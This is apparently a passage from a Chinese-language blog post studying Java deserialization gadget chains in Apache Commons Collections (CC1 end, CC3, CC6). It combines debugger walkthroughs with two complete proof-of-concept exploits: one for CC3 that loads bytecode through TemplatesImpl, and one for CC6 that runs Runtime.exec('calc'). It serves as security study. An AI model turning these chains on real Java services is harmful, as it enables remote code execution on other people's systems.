      InvokerTransformer.transform()</span><br><span class="line">                        Method.invoke()</span><br><span class="line">                            Runtime.exec()</span><br></pre></td></tr></table></figure><hr><h3 id="简单调试"><a href="#简单调试" class="headerlink" title="简单调试"></a>简单调试</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260526210355411.png" alt="image-20260526210355411"></p><p>在AnnotationInvocationHandler的readobject方法上打个断点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526210554584.png" alt="image-20260526210554584"></p><p>注意var3的key为value </p><p>这个键值对来自<code>var10 = AnnotationType.getInstance(this.type)</code> 之后会触发<code>var10.memberTypes()</code> 获得成员类型</p><p>进入循环 触发之前传入AnnotationInvocationHandler的成员方法 <code>this.memberValues.entrySet()</code></p><p><code>this.memberValues</code> 实际就是我们的TransformedMap对象</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526210846867.png" alt="image-20260526210846867"></p><p>TransformedMap没有重写entrySet实际触发父类的<code>entrySet()</code> </p><p>进而触发类成员的<code>entrySet()</code>  也就是我们之前传入的HashMap</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526211034524.png" alt="image-20260526211034524"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526211110808.png" alt="image-20260526211110808"></p><p>返回键值对给var5  类型为<strong>AbstractInputCheckedMapDecorator$MapEntry</strong> 因为<strong>TransformMap没有重写entrySet方法</strong> 所以实际返回<strong>AbstractInputCheckedMapDecorator</strong>中的内部类<strong>AbstractInputCheckedMapDecorator$MapEntry</strong></p><p>下面var3会尝试获取var6 实际就是key值<code>value</code></p><p>这里肯定是成功取出 然后进入后面的循环</p><p><strong>所以这里传入到TransformMap里面的HashMap 一定要有值 并且key还得是<code>value</code> 这样才能进入下面的循环</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526211352102.png" alt="image-20260526211352102"></p><p>我们想要的就是触发 <strong>AbstractInputCheckedMapDecorator$MapEntry的setValue()</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526211552102.png" alt="image-20260526211552102"></p><p>在之前触发entrySet方法的时候 内部类里面的parent已经被赋值了</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212054788.png" alt="image-20260526212054788"></p><p>parent实际为我们的TransformMap对象 </p><p>进而触发他的checkSetValue方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212130454.png" alt="image-20260526212130454"></p><p>然后触发transform方法 </p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212153305.png" alt="image-20260526212153305"></p><p>valueTransformer实际就是传入的Transform对象 </p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212242602.png" alt="image-20260526212242602"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212304597.png" alt="image-20260526212304597"></p><p>后续就是循环触发Transform对象数组里面的<strong>各种类型的Transform</strong> 最后命令执行</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526212359307.png" alt="image-20260526212359307"></p><hr><h3 id="注意点"><a href="#注意点" class="headerlink" title="注意点"></a>注意点</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260526212512500.png" alt="image-20260526212512500"></p><p>传入到TransformMap里面的Hashmap的键值对的key一定要为<code>value</code></p><p>上面的各种Transform最后实际调用的时候 为什么要这么写 最好自己调试一下 看看具体情况</p><hr><p><strong>sun.reflect.annotation.AnnotationInvocationHandler</strong> 这个类反序列化的时候 触发<strong>TransformMap的setEntry方法</strong> 进而触发父类的<strong>AbstractInputCheckedMapDecorator</strong>的<strong>内部类方法MapEntry</strong>  最后触发<strong>setValue</strong> 感觉还是比较精妙的 也不好看出来 很细节</p><hr><h2 id="CC3"><a href="#CC3" class="headerlink" title="CC3"></a>CC3</h2><p>cc3将InvokeTrasnformer这个类换成InstantiateTransformer触发</p><p>其他地方也有点改动</p><h3 id="核心类"><a href="#核心类" class="headerlink" title="核心类"></a>核心类</h3><ol><li>TemplatesImpl（sink）</li><li>ChainedTransformer</li><li>ConstantTransformer</li><li>InstantiateTransformer</li><li>TrAXFilter</li><li>TransformedMap</li><li>AnnotationInvocationHandler （触发类）</li></ol><h3 id="TemplatesImpl"><a href="#TemplatesImpl" class="headerlink" title="TemplatesImpl"></a>TemplatesImpl</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260526213641897.png" alt="image-20260526213641897"></p><p>TemplatesImpl这个类属于jdk的原生类</p><p>常常用来当做最后的sink类 实际上是加载任意字节码并实例化</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526213815139.png" alt="image-20260526213815139"></p><p>关注方法<strong>newTransformer</strong>和<strong>getOutputProperties方法</strong></p><p><strong>getOutputProperties方法</strong>实际会触发<strong>newTransformer方法 <strong>所以关注</strong>newTransformer方法</strong>就可以了</p><p>跳转到<strong>getTransletInstance()</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526213950036.png" alt="image-20260526213950036"></p><p><strong>defineTransletClasses方法</strong>会加载字节码</p><p><code>AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();</code></p><p>这一串又会实例化_class数组中的类</p><p>跳转到<strong>defineTransletClasses方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526214123122.png" alt="image-20260526214123122"></p><p>判断_bytecodes属性是否为null</p><p>下面会获得类加载器 然后回加载_bytecodes数组里面的字节码 并把这个类传入_class数组中 后续就是实例化然后触发rce</p><p><code>_class[i] = loader.defineClass(_bytecodes[i])</code></p><p>注意加载完类之后 会判断是否继承了父类</p><p><img src="E:\blog_back\source_posts\CC链\image-20260528161502401.png" alt="image-20260528161502401"></p><p>所以加载的字节码 必须先继承<strong>AbstractTranslet</strong></p><p>现在查看属性是否可控</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526214444153.png" alt="image-20260526214444153"></p><p>_bytecodes是个二维数组 还是个私有属性 </p><p>可以直接反射修改值</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526214531722.png" alt="image-20260526214531722"></p><p>有好几个构造器 </p><p>这些条件就足够构造一个恶意的<strong>TemplatesImpl对象</strong>了</p><hr><p>我们现在已经知道了**getTransletInstance()**最后会任意加载字节码并实例化</p><p><strong>getOutputProperties()<strong>和</strong>newTransformer()<strong>都会调用</strong>getTransletInstance()</strong></p><p>实际上都是尝试去触发**getOutputProperties()<strong>和</strong>newTransformer()**这2个方法</p><hr><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;D:\\123\\Calc.class&quot;</span>;</span><br><span class="line"><span class="type">byte</span>[] eval = Files.readAllBytes(Paths.get(path));</span><br><span class="line"></span><br><span class="line"><span class="type">byte</span>[][] _bytecodes = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;eval&#125;;</span><br><span class="line"><span class="type">String</span> <span class="variable">transletName</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line"><span class="type">Properties</span> <span class="variable">pro</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Properties</span>();</span><br><span class="line"><span class="type">TransformerFactoryImpl</span> <span class="variable">fac</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>();</span><br><span class="line"></span><br><span class="line"><span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line"><span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> clazz.getDeclaredConstructor(<span class="type">byte</span>[][].class,String.class,Properties.class,<span class="type">int</span>.class,TransformerFactoryImpl.class);</span><br><span class="line">constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">TemplatesImpl</span> <span class="variable">obj</span> <span class="operator">=</span> (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,<span class="number">1</span>,fac);</span><br></pre></td></tr></table></figure><p>创建一个TemplesImpl恶意类</p><p>现在需要去触发<strong>getOutputProperties或者newTransformer方法</strong></p><p>根据cc1可以直接使用InvokeTrasnformer方法调用</p><p>但是ysoserial工具里面使用了<strong>InstantiateTransformer和TrAXFilter</strong>这2个类</p><p>来看看这2个类有啥用</p><hr><h3 id="InstantiateTransformer和TrAXFilter"><a href="#InstantiateTransformer和TrAXFilter" class="headerlink" title="InstantiateTransformer和TrAXFilter"></a>InstantiateTransformer和TrAXFilter</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260526220029237.png" alt="image-20260526220029237"></p><p>InstantiateTransformer这个类的transform方法会获取intpu的构造器 类型为iParamTypes 并且实例化</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526220257338.png" alt="image-20260526220257338"></p><p>TrAXFilter这个类的构造器会触发一个传入的Templates对象的<strong>newTransformer方法</strong> 很自然的想到<strong>TemplatesImpl对象的newTransformer方法</strong></p><p>InstantiateTransformer和TrAXFilter这2个类结合起来可以实现触发TrAXFilter的有参构造器 然后触发 <strong>TemplatesImpl对象的newTransformer方法</strong> 最后成功恶意加载字节码实现rce</p><hr><h3 id="尝试写poc"><a href="#尝试写poc" class="headerlink" title="尝试写poc"></a>尝试写poc</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> com.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC3InstantiateTransformer_TrAXFilter</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;D:\\123\\Calc.class&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] eval = Files.readAllBytes(Paths.get(path));</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[][] _bytecodes = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;eval&#125;;</span><br><span class="line">        <span class="type">String</span> <span class="variable">transletName</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">pro</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Properties</span>();</span><br><span class="line">        <span class="type">TransformerFactoryImpl</span> <span class="variable">fac</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>();</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> clazz.getDeclaredConstructor(<span class="type">byte</span>[][].class,String.class,Properties.class,<span class="type">int</span>.class,TransformerFactoryImpl.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">obj</span> <span class="operator">=</span> (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,<span class="number">1</span>,fac);</span><br><span class="line"></span><br><span class="line">        Transformer[] ts = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;obj&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(ts);</span><br><span class="line"></span><br><span class="line">        <span class="type">HashMap</span> <span class="variable">hashMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        hashMap.put(<span class="string">&quot;value&quot;</span>,<span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">transformmap</span> <span class="operator">=</span> TransformedMap.decorate(hashMap,<span class="literal">null</span>,chainedTransformer);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">Class</span> <span class="variable">clazzAno</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>.getClass().forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">            <span class="type">Constructor</span> <span class="variable">constructorAno</span> <span class="operator">=</span> clazzAno.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">            constructorAno.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="type">Object</span> <span class="variable">payload</span> <span class="operator">=</span> constructorAno.newInstance(Target.class,transformmap);</span><br><span class="line"></span><br><span class="line">            deseriazler.deserialize(payload);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\CC链\image-20260526220720413.png" alt="image-20260526220720413"></p><p>现在的Transform数组是这样的 后续调试会明白效果的</p><p>和cc1相比变化不大直接调试</p><h3 id="简单调试-1"><a href="#简单调试-1" class="headerlink" title="简单调试"></a>简单调试</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260526221412423.png" alt="image-20260526221412423"></p><p>这次在ChainedTransformer这里的transform方法打断点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526221517628.png" alt="image-20260526221517628"></p><p>首先根据<strong>ConstantTransformer的transform</strong>的特性会<strong>直接返回TrAXFilter类</strong></p><p>进入<strong>InstantiateTransformer的transform</strong> </p><p><img src="E:\blog_back\source_posts\CC链\image-20260526221700397.png" alt="image-20260526221700397"></p><p><strong>TrAXFilter类</strong>作为input变量的值获得有参构造器</p><p>后续就是创建<strong>TrAXFilter实例对象</strong> 参数为<strong>TemplatesImpl对象</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526221846467.png" alt="image-20260526221846467"></p><p>进入TrAXFilter的有参构造器 触发TemplatesImpl对象的newTransformer() </p><p>这里已经结束了 后续就是正常加载字节码触发rce</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526221945028.png" alt="image-20260526221945028"></p><hr><h3 id="总结一下"><a href="#总结一下" class="headerlink" title="总结一下"></a>总结一下</h3><p><strong>InstantiateTransformer和TrAXFilter</strong>的组合实现了 <strong>TrAXFilter实例化对象</strong> 后续触发<strong>TemplatesImpl的newTransformer方法</strong></p><h3 id="限制"><a href="#限制" class="headerlink" title="限制"></a>限制</h3><ol><li>CC包 &lt;&#x3D; 3.2.1 </li><li>jdk &lt; <strong>8u71</strong></li></ol><hr><ol><li>TemplatesImpl <strong>模板实现类</strong></li><li>ChainedTransformer <strong>链式转换器</strong></li><li>ConstantTransformer <strong>常量转换器</strong></li><li>InvokeTrasnformer  <strong>调用转换器</strong></li><li>InstantiateTransformer <strong>实例化转换器</strong></li><li>TrAXFilter <strong>TrAX过滤器</strong></li><li>TransformedMap <strong>转换映射</strong></li><li>AnnotationInvocationHandler  <strong>注解调用处理器</strong></li></ol><p>学java顺便学一下英语（）</p><hr><h2 id="CC6"><a href="#CC6" class="headerlink" title="CC6"></a>CC6</h2><p>最有常用的链子</p><p>触发类使用HashMap触发 </p><h3 id="核心类-1"><a href="#核心类-1" class="headerlink" title="核心类"></a>核心类</h3><ol><li>HashMap(触发类)</li><li>TiedMapEntry  <strong>关联映射条目</strong></li><li>LazyMap  <strong>延迟映射</strong></li><li>ChainedTransformer </li><li>ConstantTransformer </li><li>InvokeTrasnformer(sink类)</li></ol><p>我们先来看看LazyMap和TriedMap</p><h3 id="LazyMap和TiedMapEntry"><a href="#LazyMap和TiedMapEntry" class="headerlink" title="LazyMap和TiedMapEntry"></a>LazyMap和TiedMapEntry</h3><p>这2个类主要是为了替换TransformedMap类</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526223322768.png" alt="image-20260526223322768"></p><p>LazyMap的get方法会触发<strong>factory对象的transform方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526223436917.png" alt="image-20260526223436917"></p><p><strong>factory对象</strong>来自于上面的<strong>decorate方法</strong> 可以让我们传Transformer对象</p><p>那直接传ChainedTransform对象就完事了</p><p>现在需要一个类可以触发LazyMap的get方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526223900793.png" alt="image-20260526223900793"></p><p><strong>TiedMapEntry的getValue方法</strong>刚好可以触发map对象的get方法</p><p>那么只要map对象为LazyMap就可以了</p><p>上面的有参构造器就可以实现</p><p>看看什么方法可以触发getValue方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526224042856.png" alt="image-20260526224042856"></p><p><strong>equals hashCode toString方法</strong>均可触发 这些也都是Map接口有的方法</p><p>这个hashCode应该不难想到HashMap在反序列化的时候可以触发 URLDNS链就是这么打的</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526224355826.png" alt="image-20260526224355826"></p><p>跟进hash方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526224411117.png" alt="image-20260526224411117"></p><p>触发key的hashcode</p><hr><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> com.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC6</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        Transformer[] t = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">c</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(<span class="keyword">new</span> <span class="title class_">Transformer</span>[<span class="number">0</span>]);</span><br><span class="line">        <span class="type">HashMap</span> <span class="variable">h</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">l</span> <span class="operator">=</span> LazyMap.decorate(h,c);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(l,<span class="string">&quot;aa&quot;</span>);</span><br><span class="line">            <span class="type">HashMap</span> <span class="variable">hashMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">            hashMap.put(tiedMapEntry,<span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">            l.remove(<span class="string">&quot;aa&quot;</span>);</span><br><span class="line">            <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> c.getClass();</span><br><span class="line">            <span class="type">Field</span> <span class="variable">iTransformers</span> <span class="operator">=</span>  clazz.getDeclaredField(<span class="string">&quot;iTransformers&quot;</span>);</span><br><span class="line">            iTransformers.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            iTransformers.set(c,t);</span><br><span class="line">            deseriazler.deserialize(hashMap);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>注意这些地方 都是细节点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526225448510.png" alt="image-20260526225448510"></p><p>调试过程就会明白</p><h3 id="调试一下"><a href="#调试一下" class="headerlink" title="调试一下"></a>调试一下</h3><p><strong>CC6的调试一定要先关掉idea中 调试器的2个参数</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526230601973.png" alt="image-20260526230601973"></p><hr><p>断点打在hashmap的put方法上面</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526225657588.png" alt="image-20260526225657588"></p><p>跟进put方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526225810147.png" alt="image-20260526225810147"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526225827705.png" alt="image-20260526225827705"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526225919042.png" alt="image-20260526225919042"></p><p>put方法也会触发hash方法 进而触发key.hashCode 导致提前触发TiedMap的getValue方法 进而提早的就会弹计算器 所以这里为了避免提早触发</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526230028301.png" alt="image-20260526230028301"></p><p>ChainedTransformer里面的Transform数组不是恶意的Transform数组</p><p>后续反射修改了</p><p>但是下面为什么要删除LazyMap的这个key呢</p><p>继续跟进getValue 触发LazyMap的get方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526230238628.png" alt="image-20260526230238628"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526230901936.png" alt="image-20260526230901936"></p><p>这里的HashMap按理来说应该是空的才对 但是这里没关调试效果</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526231006269.png" alt="image-20260526231006269"></p><p>调试默认开启这2个设置 在显示变量的值的时候会自动触发toString 和其他某些方法</p><p>由于触发了toString 导致这里的HashMap莫名其妙多了一个键值对 后续调试是不会成功的</p><p>因为这个键值对删不掉（）</p><p>后续这里的判断就会跳过 导致不执行<strong>transform方法</strong></p><hr><p>现在关掉 继续调试到这里</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526232803621.png" alt="image-20260526232803621"></p><p>现在就正常了 正常来说这里的hashmap就是空的</p><p>由于找不到key 所以这里进入这个判断里面去了</p><p>factory不是我们的恶意Transformer数组所以不会触发rce</p><p>但是后面会往hashmap里面放东西 所以我们后面需要删掉里面的键值对</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233042686.png" alt="image-20260526233042686"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233058254.png" alt="image-20260526233058254"></p><p>这下就正常了</p><p>后面反射调用将恶意Transformer数组放进去就成功构造好了恶意对象</p><p>后续就是一路畅通</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233321795.png" alt="image-20260526233321795"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233350189.png" alt="image-20260526233350189"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233403402.png" alt="image-20260526233403402"></p><p>后面就正常rce了</p><p><img src="E:\blog_back\source_posts\CC链\image-20260526233427198.png" alt="image-20260526233427198"></p><hr><h3 id="总结一下-1"><a href="#总结一下-1" class="headerlink" title="总结一下"></a>总结一下</h3><p>这个链子是CC里面通用链 首选就打他</p><h3 id="限制-1"><a href="#限制-1" class="headerlink" title="限制"></a>限制</h3><ol><li>CC包 &lt;&#x3D; 3.2.1 &#x2F;  CC包 &#x3D; 4.0</li><li>jdk无限制</li></ol><p>CC包为4.0的时候需要修改一下LazyMap的构造 因为4.0版本没有decorate方法了 